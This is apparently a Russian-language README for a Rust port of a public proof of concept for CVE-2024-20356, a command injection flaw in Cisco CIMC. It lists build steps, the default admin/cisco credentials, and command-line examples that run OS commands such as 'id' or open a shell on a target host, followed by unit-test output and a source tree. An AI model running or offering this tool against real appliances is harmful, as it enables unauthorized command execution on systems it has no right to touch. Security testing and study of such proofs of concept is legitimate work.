
Rust-версия https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
Это доказательство концепции для CVE-2024-20356 — уязвимости внедрения команд в Cisco CIMC.
Автор: Aaron, портировано на Rust: SherllyNeo
Полные технические детали можно найти по адресу https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
Примеры команд:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
Используйте аргумент --help для получения полных инструкций по использованию.
Это доказательство концепции предназначено для демонстрационных целей и не должно использоваться для незаконной деятельности. LRQA Nettitude не несёт ответственности за любой ущерб, причинённый в результате использования или неправильного использования этого кода. Не будь злом
Я написал это без доступа к серверу, основываясь на исходной кодовой базе.
Поэтому я написал обширные модульные тесты, чтобы убедиться, что функции шифрования соответствуют функциям из оригинала. Что метод входа в систему работает с использованием mock-сервера. Что разбор аргументов работает для IP-адресов.
Чтобы запустить эти тесты, используйте cargo --test
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
Я разместил это здесь, так как избегал использования mod.rs и чтобы показать, что main — это тонкая обёртка вокруг lib.
Это сделано для поддержки интеграционных тестов в будущем.
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs